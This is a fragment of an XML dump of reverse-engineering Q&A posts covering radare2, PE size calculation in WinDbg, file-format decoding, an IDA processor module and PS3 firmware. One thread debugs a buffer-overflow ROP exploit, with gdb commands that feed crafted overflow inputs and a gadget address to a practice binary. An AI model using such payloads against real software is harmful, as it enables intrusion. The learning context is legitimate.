here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-10-28T15:15:48.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22411" PostTypeId="1" CreationDate="2019-10-28T17:45:13.790" Score="0" ViewCount="74" Body="&lt;p&gt;I'm studying the radare2 utility (I installed it on Windows) and I wanted to edit the file with it. But an error constantly occurs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080486f5]&amp;gt; oo+&#xA;r_core_file_reopen: Cannot reopen file: C:\Users\User\Desktop\crackme\megabeets_0x1 with perms 0x0006, attempting to open read-only.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand what the matter is.&lt;/p&gt;&#xA;" OwnerUserId="30035" LastEditorUserId="245" LastEditDate="2019-11-03T16:56:28.657" LastActivityDate="2019-11-03T16:56:28.657" Title="Opening the test file in the Radare2 recording mode" Tags="|radare2|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22413" PostTypeId="1" AcceptedAnswerId="22417" CreationDate="2019-10-28T22:40:11.480" Score="0" ViewCount="1573" Body="&lt;p&gt;What I am trying to do is calculate the size of a PE through it's headers. I am using WinDbg's Javascripting and in this case, it will mostly be for drivers. The idea is to dump a driver from memory through WinDbg and I can do it by dumping the BaseAddress to BaseAddress+ImageSize. The ImageSize isn't really the actual size of it on disk and I would like it to be as similar as possible, almost like copy/pasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this post: &lt;a href=&quot;https://stackoverflow.com/questions/29587560/self-inspection-of-the-pe-format&quot;&gt;https://stackoverflow.com/questions/29587560/self-inspection-of-the-pe-format&lt;/a&gt;&#xA;I am able to get the full size on one driver, easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !dh HEVD&#xA;--snipped--&#xA;SECTION HEADER #7&#xA;  .reloc name&#xA;      14 virtual size&#xA;   8B000 virtual address&#xA;     200 size of raw data&#xA;    6E00 file pointer to raw data&#xA;&#xA;0: kd&amp;gt; ? 8b000 + 14&#xA;Evaluate expression: 569364 = 00000000`0008b014&#xA;0: kd&amp;gt; ? 6e00 + 200&#xA;Evaluate expression: 28672 = 00000000`00007000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The person mentioned that you should add the highest value for PointerToRawData against the SizeOfRawData, which is usually the last section. The size for this particular driver is 28,672 bytes but this doesn't always work for all drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of where it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !dh RTCore64&#xA;--snipped--&#xA;400 size of headers&#xA;--snipped--&#xA;SECTION HEADER #5&#xA;    INIT name&#xA;     258 virtual size&#xA;    5000 virtual address&#xA;     400 size of raw data&#xA;    1600 file pointer to raw data&#xA;       0 file pointer to relocation table&#xA;       0 file pointer to line numbers&#xA;       0 number of relocations&#xA;       0 number of line numbers&#xA;E2000020 flags&#xA;         Code&#xA;         Discardable&#xA;         (no align specified)&#xA;         Execute Read Write&#xA;0: kd&amp;gt; ? 1600 + 400&#xA;Evaluate expression: 6656 = 00000000`00001a00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file size for this particular driver is 16,384 bytes on disk and 14,024 bytes regular size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I found this post: &lt;a href=&quot;https://stackoverflow.com/questions/34684660/how-to-determine-the-size-of-an-pe-executable-file-from-headers-and-or-footers&quot;&gt;https://stackoverflow.com/questions/34684660/how-to-determine-the-size-of-an-pe-executable-file-from-headers-and-or-footers&lt;/a&gt;&#xA;It was saying to add the size of headers against the SizeOfRawData for each section. That didn't work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; ? 400 + c00 + 200 + 200 + 200 + 400&#xA;Evaluate expression: 6656 = 00000000`00001a00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried this answer: &lt;a href=&quot;https://stackoverflow.com/questions/8197134/how-do-i-determine-exact-pe-image-file-size-using-its-headers&quot;&gt;https://stackoverflow.com/questions/8197134/how-do-i-determine-exact-pe-image-file-size-using-its-headers&lt;/a&gt;&#xA;Basically it was said to add the VirtualAddress against VirtualSize, but that doesn't work. It actually gives me a number that's higher than what the actual size is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; ? 5000 + 258&#xA;Evaluate expression: 21080 = 00000000`00005258&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried with this post: &lt;a href=&quot;https://stackoverflow.com/questions/8193862/the-size-of-a-pe-header&quot;&gt;https://stackoverflow.com/questions/8193862/the-size-of-a-pe-header&lt;/a&gt;&#xA;That also didn't work. There were other posts I looked at, but they all boil down to some variation of those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get help on why I am unable to? I'm not sure what I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you would recommend a better way of doing so, I'm all ears!&lt;/p&gt;&#xA;" OwnerUserId="29798" LastEditorUserId="29798" LastEditDate="2019-10-28T22:49:37.060" LastActivityDate="2019-10-29T07:06:38.350" Title="How to calculate the size of a PE from headers?" Tags="|pe|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22414" PostTypeId="1" CreationDate="2019-10-28T23:42:30.880" Score="1" ViewCount="168" Body="&lt;p&gt;I'm currently playing with buffer overflow and ROP-chains, and I'm facing a weird behavior that I don't know how to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why, but i cannot correctly push the address of my first ROP gadget into the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the specific binary that i am trying to exploit, I have to fill a 28 bytes buffer before overwriting the instruction pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do the following test, everything seems in order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ run &amp;lt; &amp;lt;(python -c 'print(&quot;A&quot;*28 + &quot;BBBB&quot;)')&#xA;[...]&#xA;&amp;gt; Stopped reason: SIGSEGV&#xA;&amp;gt; 0x42424242 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first gadget is at the address &quot;&lt;em&gt;0x0806ee6b&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try the following test, there is a difference between my input and what's pushed on the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ run &amp;lt; &amp;lt;(python -c 'print(&quot;A&quot;*28 + &quot;\x6b\xee\x06\x08&quot;)')&#xA;[...]&#xA;&amp;gt; Stopped reason: SIGSEGV&#xA;&amp;gt; 0x06aec36b in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take a look at the stack before the &lt;em&gt;retn&lt;/em&gt; instruction that trigger the buffer-overflow, my little-indian formatted address is not the same anymore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ x/50x $esp&#xA;0xffffdaec: 0x06aec36b  0x00000008  0x0804f02b  0x080da000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to push an arbitrary address, like &quot;&lt;em&gt;0x08064141&lt;/em&gt;&quot;, everything is ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ run &amp;lt; &amp;lt;(python -c 'print(&quot;A&quot;*28 + &quot;\x41\x41\x06\x08&quot;)')&#xA;[...]&#xA;gdb-peda$ x/50x $esp&#xA;0xffffdaec: 0x08064141  0x00000000  0x0804f02b  0x080da000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried with some twists, to see how it goes, but the result is still the same. The &quot;&lt;em&gt;\xee&lt;/em&gt;&quot; is always translated into &quot;&lt;em&gt;\xae\xc3&lt;/em&gt;&quot; when pushed on the stack. And that's the same for some other specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't get it, I can push the address 0x0806&lt;strong&gt;5e&lt;/strong&gt;6b without any issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ run &amp;lt; &amp;lt;(python -c 'print(&quot;A&quot;*28 + &quot;\x6b\x5e\x06\x08&quot;)')&#xA;[...]&#xA;gdb-peda$ x/10x $esp&#xA;0xffffdaec: 0x08065e6b  0x00000000  0x0804f02b  0x080da000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not the address 0x0806&lt;strong&gt;ee&lt;/strong&gt;6b:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ run &amp;lt; &amp;lt;(python -c 'print(&quot;A&quot;*28 + &quot;\x6b\xee\x06\x08&quot;)')&#xA;[...]&#xA;gdb-peda$ x/10x $esp&#xA;0xffffdaec: 0x06aec36b  0x00000008  0x0804f02b  0x080da000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing here ?&lt;/p&gt;&#xA;" OwnerUserId="29213" LastEditorUserId="60" LastEditDate="2019-10-29T10:39:46.997" LastActivityDate="2019-10-29T10:39:46.997" Title="BufferOverflow - Cannot push a specific return address on the stack" Tags="|buffer-overflow|rop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22415" PostTypeId="2" ParentId="22414" CreationDate="2019-10-29T00:09:02.993" Score="1" Body="&lt;p&gt;By the looks of it, 0xee is a bad character if its getting truncated like that. What you should do first is look for bad characters and when youre done, you have an idea of what gadget you can and cannot use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is THE only gadget, I would look into alternatives that do the same thing. So pop a random number into eax, add an offset and then eax will have what you want if its some type of call. Something of the like&lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2019-10-29T00:09:02.993" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22416" PostTypeId="2" ParentId="22409" CreationDate="2019-10-29T06:18:50.697" Score="2" Body="&lt;p&gt;There's a couple of likely possibilities for how the value of Pi is included in the code -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) It is calculated using trig functions. e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4.0 * atan( 1.0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) It is stored as a floating-point constant. In hexadecimal representation these could be -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40490FDB            // 32-bit floating point&#xA;0x400921FB54442D18    // 64-bit floating point&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you need to be aware of compiler optimisations, including &lt;a href=&quot;https://en.wikipedia.org/wiki/Constant_folding&quot; rel=&quot;nofollow noreferrer&quot;&gt;constant folding&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the source code uses my first possibility, the compiler may optimise it to a floating-point constant. (i.e. my 2nd possibility)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if the value Pi is only ever used in contexts where it appears in calculations with other constant values, the compiler may perform that part of any calculations at compile time and include only the result in the object file.&#xA;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi = 4.0 * atan( 1.0 );                   // may become = 3.1415926536..&#xA;circumference = 2.0 * pi * radius;        // may become = 6.2831853.. * radius&#xA;degrees = radians * 180 / pi;             // may become = radians * 57.2957795..&#xA;result = fourier_integral / (2.0 * pi);   // may become = fourier_integral * 0.1591549..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in summary, you might not find the value of Pi at all and may have to search for likely related constant values.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2019-11-23T10:08:49.217" LastActivityDate="2019-11-23T10:08:49.217" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22417" PostTypeId="2" ParentId="22413" CreationDate="2019-10-29T06:44:31.010" Score="0" Body="&lt;p&gt;This is quickly thrown together, it's late.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Grab first section in the image and initialize our file dump data.&#xA;auto sec = IMAGE_FIRST_SECTION(nt);&#xA;auto img = std::vector&amp;lt;uint8_t&amp;gt;();&#xA;&#xA;// Reserve (more than) enough space for the file and zero initialize it.&#xA;img.clear();&#xA;img.reserve(nt-&amp;gt;OptionalHeaders.SizeOfImage, 0);&#xA;&#xA;// Grab base address for both virtual memory and file dump.&#xA;auto img_mem = 0xDEADBEEF;&#xA;auto img_dmp = img.data();&#xA;&#xA;// Save PE header to the file dump.&#xA;memcpy(img_dmp, img_mem, sec-&amp;gt;PointerToRawData);&#xA;&#xA;// Save each sections data to the file dump, permission checks should be done here as well.&#xA;for (auto i = 0; i &amp;lt; nt-&amp;gt;FileHeader.NumberOfSections; ++i, ++sec)&#xA;     memcpy(img_dmp + sec-&amp;gt;PointerToRawData, img_mem + sec-&amp;gt;VirtualAddress, sec-&amp;gt;SizeOfRawData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, a simple way to get the file size of a PE is just to get the highest sections PointerToRawData and add its SizeOfRawData.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-29T07:06:38.350" LastActivityDate="2019-10-29T07:06:38.350" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22418" PostTypeId="2" ParentId="22414" CreationDate="2019-10-29T10:25:22.523" Score="0" Body="&lt;p&gt;I can not comment yet, but the concern is probably a function that filters, or stops reading, each character. The problem can also come from how you send these data in remote.&lt;/p&gt;&#xA;" OwnerUserId="28528" LastActivityDate="2019-10-29T10:25:22.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22419" PostTypeId="1" CreationDate="2019-10-29T11:04:15.547" Score="2" ViewCount="186" Body="&lt;p&gt;I'm trying to reverse engineer a binary format, and I'm running up against a variable-length sequence of numbers which varies between files. I can't work out the pattern here and how to determine how long this sequence is. I'm 99% sure that the sequence is self-contained and isn't reliant on any information from the preceding parts of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example (in hex) of the sequence is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06 00 00 00    01 00 00 00    fd ff ff  ff     08 00 00 00    f7 ff ff ff     0e 00 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me, this looks like a sequence of little endian signed integers (i.e. 6, 1, -3,  8, -9,  14)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some sequences I've collected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;6, 1, -3, 8, -9, 14&lt;/li&gt;&#xA;&lt;li&gt;5, -11, 10, 13, -14, 27&lt;/li&gt;&#xA;&lt;li&gt;2, 0, 3&lt;/li&gt;&#xA;&lt;li&gt;3, 6, -7, 9&lt;/li&gt;&#xA;&lt;li&gt;3, 1, -3&lt;/li&gt;&#xA;&lt;li&gt;348, 1, -348&lt;/li&gt;&#xA;&lt;li&gt;4, 1, -4&lt;/li&gt;&#xA;&lt;li&gt;18, 1, -18&lt;/li&gt;&#xA;&lt;li&gt;28, 1, -28&lt;/li&gt;&#xA;&lt;li&gt;244, 1, -244&lt;/li&gt;&#xA;&lt;li&gt;70, 1, -70&lt;/li&gt;&#xA;&lt;li&gt;449, 1, -446, 453, 455, -456&lt;/li&gt;&#xA;&lt;li&gt;12, 0, -1, 5, 9, 11, -12, 14, 17, 19, 25, 31, 33&lt;/li&gt;&#xA;&lt;li&gt;69, 7, 13, 31, 87, 136, 168, 267,275, 277, 323, -324, 327, 329, 331, 334, -334, 337, 340, 344, 371, 379, 383, 386, 416, 422, -423, 426, 429, 432, 446, 686, -689, 692, -709,725, -727, 731, 833, 837, 841, 845, 856, 860, 868, 877, -878, 883, 885, 887, 909  &lt;/li&gt;&#xA;&lt;li&gt;1, 2&lt;/li&gt;&#xA;&lt;li&gt;1, 861&lt;/li&gt;&#xA;&lt;li&gt;1, 22&lt;/li&gt;&#xA;&lt;li&gt;1, 1&lt;/li&gt;&#xA;&lt;li&gt;1, 78&lt;/li&gt;&#xA;&lt;li&gt;1, 93&lt;/li&gt;&#xA;&lt;li&gt;1, 5&lt;/li&gt;&#xA;&lt;li&gt;1, 9&lt;/li&gt;&#xA;&lt;li&gt;1, 4016&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &#xA;As requested, some extra context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is part of a &quot;LYR&quot; document format, used by the ESRI ArcGIS mapping software. LYR files are structured using the Microsoft Compound Document Format. All the useful content is stored in a single file contained inside the document. &lt;/li&gt;&#xA;&lt;li&gt;This file stream uses (a variation of) the COM IPersistStream interface to encode the object's contents/properties&lt;/li&gt;&#xA;&lt;li&gt;LYR objects consist of a hierarchy of objects -- they basically directly represent the original object class structure, with layer containing a renderer which itself contains multiple fill/line/marker symbols, a &quot;labeling properties&quot; object, a &quot;field&quot; set, etc. &lt;/li&gt;&#xA;&lt;li&gt;This sequence occurs mid-way through reading the bytes encoded by a &quot;FeatureLayer&quot; object. It's almost right in the middle of the content encoded by FeatureLayer objects, and doesn't fall into any headers or footers.&lt;/li&gt;&#xA;&lt;li&gt;For 99% of the files encountered, this sequence consists of a single &lt;code&gt;00 00 00 00&lt;/code&gt; integer.&lt;/li&gt;&#xA;&lt;li&gt;There's absolutely no chance of missed digits in the sequences above -- the sequences are bordered on either side by bytes of known purpose (the persisted stream representing the &quot;area of interest&quot; Envelope object for the layer and an array of layer &quot;Extension&quot; objects -- both of which are direct members of the FeatureLayer class). &lt;/li&gt;&#xA;&lt;li&gt;This sequence does not seem to contain any actual useful content -- every member of the FeatureLayer object class is encoded elsewhere&lt;/li&gt;&#xA;&lt;li&gt;The files aren't corrupt, and will open fine in the original software (ArcMap). However, saving them without any changes results in the sequence being removed from the file. It's possibly something which was only written in earlier versions of the software, OR it represents some temporary/cached values which don't directly form part of the persisted object state...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19265" LastEditorUserId="30076" LastEditDate="2019-11-02T18:48:44.570" LastActivityDate="2019-11-02T18:48:44.570" Title="What's the pattern in this sequence extracted from a LYR document, used by the ESRI ArcGIS" Tags="|binary-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22422" PostTypeId="1" AcceptedAnswerId="22444" CreationDate="2019-10-29T22:20:41.683" Score="2" ViewCount="740" Body="&lt;p&gt;I'm trying to decode the file formats for Massive, FM8 and absynth VST synths. The file format is binary with several sections. Reason for this endeavour is to convert the above formats to general vst .fxp format for automated loading and rendering of presets through the vst api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From experimenting with saving the files when changing synth parameters I've found out following facts about the format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File starts out with length field&lt;/li&gt;&#xA;&lt;li&gt;File contains some fixed length sections introduced by &quot;DSIN&quot;, &quot;hsin&quot; markers  &lt;/li&gt;&#xA;&lt;li&gt;The vst binary chunk returned by effGetChunk vst sdk api calls are 99% similar to the .nmsv, .nabs, .nfm8 preset file content&lt;/li&gt;&#xA;&lt;li&gt;changing a single parameter in the synth changes some bytes at several places (3-4) in the file&lt;/li&gt;&#xA;&lt;li&gt;The main section of the preset file seems to be compressed, while synth parameters should be float values between 0 and 1 they don't seem to be written as floating points into the file - apart from unrecognizable binary values there are plaintext strings e.g. for user defined macros there seems to be some sort of compression applied to the raw data. Compression seems to reference previously encountered strings and reference these strings in later portions of the stream:&#xA;If &quot;THIS_IS_A_MACRO_NAME_ABC&quot; is preceding &quot;THIS_IS_A_MACRO_NAME_XYZ&quot; in the stream the second string will be compressed to &quot;[short sequence of bytes]_XYZ&quot;.&lt;/li&gt;&#xA;&lt;li&gt;The files do not seem to contain any dictionary for compression which makes me think the dictionary must be stored somewhere else or there might not be a dictionary at all.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Could anyone help out here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What compression scheme could be applied here?&lt;/li&gt;&#xA;&lt;li&gt;Does anyone know about a similar format that has been successfully decoded?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Added an example file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=08960658549599455274&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=08960658549599455274&lt;/a&gt; contains a sample file. The string &quot;TESTSTRING1&quot; and &quot;PREFIXTESTSTRING1SUFFIX&quot; are contained in the uncompressed stream. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shannon entropy is 5.84154 for the data chunk which is somewhere in the middle between english text and encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nb9u7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nb9u7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example which should demonstrate how the lenght field is computed:&#xA;The string &quot;TESTSTRING123&quot; precedes the string &quot;PREFIX...SUFFIX&quot;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             P  R  E  F  I  X  L1 L2 D     S  U  F  L1 D&#xA;----------------------------------------------------------------------------------------&#xA;PREFIXTESTSTRING123SUFFIX 05 50 52 45 46 49 58 E0 04 16 02 53 55 46 20 12 40 42 00&#xA;PREFIXTESTSTRING12SUFFIX  05 50 52 45 46 49 58 E0 03 16 02 53 55 46 20 11 40 41 00&#xA;PREFIXTESTSTRING1SUFFIX   05 50 52 45 46 49 58 E0 02 16 02 53 55 46 20 10 40 40 00 33 40&#xA;PREFIXTESTSTRINGSUFFIX    05 50 52 45 46 49 58 E0 01 16 02 53 55 46 20 0F 40 3F 00 33 40&#xA;PREFIXTESTSTRINSUFFIX     05 50 52 45 46 49 58 E0 00 16 02 53 55 46 20 0E 40 3E 00 33 40&#xA;PREFIXTESTSTRISUFFIX      05 50 52 45 46 49 58 C0    16 02 53 55 46 20 0D 40 3D 00 33 40&#xA;PREFIXTESTSTRSUFFIX       05 50 52 45 46 49 58 A0    16 02 53 55 46 20 0C 40 3C 00 33 40&#xA;PREFIXTESTSTSUFFIX        05 50 52 45 46 49 58 80    16 02 53 55 46 20 0B 40 3B 00 33 40&#xA;PREFIXTESTSSUFFIX         05 50 52 45 46 49 58 60    16 02 53 55 46 20 0A 40 3A 00 33 40&#xA;PREFIXTESTSUFFIX          05 50 52 45 46 49 58 60    16 01    55 46 20 09 40 39 00 33 40 &#xA;PREFIXTESSUFFIX           05 50 52 45 46 49 58 20    16 02 53 55 46 20 08 40 38 00 33 40&#xA;PREFIXTESUFFIX            05 50 52 45 46 49 58 20    16 01    55 46 20 07 40 37 00 33 40 &#xA;PREFIXTSUFFIX             09 50 52 45 46 49 58 54 53 55 46 20 06 40 36 00 33 40  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30042" LastEditorUserId="30042" LastEditDate="2019-10-31T20:16:05.817" LastActivityDate="2020-09-20T02:30:54.603" Title="Decode synth preset formats for massive (.nmsv) fm8 (.nfm8) and absynth (.nabs)" Tags="|binary-analysis|file-format|decompress|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22423" PostTypeId="1" CreationDate="2019-10-30T04:35:40.717" Score="3" ViewCount="294" Body="&lt;p&gt;I am writing a processor module for the Oki6620* architecture. Like ARM's Thumb mode or m7700's M flag, this architecture has a special flag that affects instruction decoding, named DD (Data Descriptor). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a POC, I have a global flag to my IDA processor definition, and change the DD flag depending on the instruction analysed. However, due to IDA's multithreading when analysing/decoding instructions (notify_ana/notify_emu/etc), this clearly doesn't work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even worse, when clicking around in IDA on random instructions, said instructions sometimes get changed randomly because the current DD flag's value is different from when the instruction was first analysed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My two main questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;m7700 and ARM both have an &lt;strong&gt;option to set the flag from the interface&lt;/strong&gt; (Alt+G, if I'm not mistaken), and I'm looking for a way to implement this in my module too. Does anybody know how to do that ?&lt;/li&gt;&#xA;&lt;li&gt;Also, I'd be interested in input on &lt;strong&gt;how one would handle correctly this DD flag depending on the thread actually running&lt;/strong&gt; (keep DD values in an array, for each block of code between two DD-value-changing instruction ? things like that)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mycomputerninja.com/~jon/www.pgmfi.org/twiki/pub/Library/66kAssemblerDocs/Oki_66201_Instruction_Manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a PDF&lt;/a&gt; explaining the ISA and processor info. My current code (draft of course) is available on &lt;a href=&quot;https://github.com/P1kachu/oki-66207-processor&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="11827" LastActivityDate="2023-03-05T12:49:49.723" Title="How to handle flags that affect instruction decoding in IDA processor modules?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22426" PostTypeId="1" AcceptedAnswerId="22428" CreationDate="2019-10-30T12:57:50.130" Score="1" ViewCount="1631" Body="&lt;p&gt;I dumped a wifi firmware of ps3 console but it seems that this firmware is compressed.&#xA;Here you can have some informations : &lt;a href=&quot;https://www.psdevwiki.com/ps3/Wifi_Firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.psdevwiki.com/ps3/Wifi_Firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NC21n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NC21n.png&quot; alt=&quot;Header_img&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to decompress it (and to know which algorithm is used here)or just if someone can give me an advice where to check to go further in the analysis because now I don't have any ideas of what to do :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QaYnQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaYnQ.png&quot; alt=&quot;Entropy_img&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File is &lt;a href=&quot;https://mega.nz/#!BVkg0aZa!WgoovAEY2Wm1VXjOAbkkYa5AtJBM2wF1X_Z9fKCrhnY&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the datsheet of the chip : &lt;a href=&quot;https://www.macronix.com/Lists/Datasheet/Attachments/7306/MX25L4005A,%203V,%204Mb,%20v2.2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.macronix.com/Lists/Datasheet/Attachments/7306/MX25L4005A,%203V,%204Mb,%20v2.2.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just used basic binwalk and that's it. I'm a beginner in this field so i don't know that much :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no binwalk output.except for entropy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.334894)&#xA;87040         0x15400         Falling entropy edge (0.818296)&#xA;181248        0x2C400         Falling entropy edge (0.807684)&#xA;215040        0x34800         Falling entropy edge (0.837182)&#xA;226304        0x37400         Falling entropy edge (0.833665)&#xA;265216        0x40C00         Falling entropy edge (0.819895)&#xA;371712        0x5AC00         Falling entropy edge (0.791722)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30052" LastEditorUserId="30052" LastEditDate="2019-10-30T16:09:55.673" LastActivityDate="2019-10-30T19:36:00.593" Title="Way to know if firmware is compressed" Tags="|firmware|encryption|decompress|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
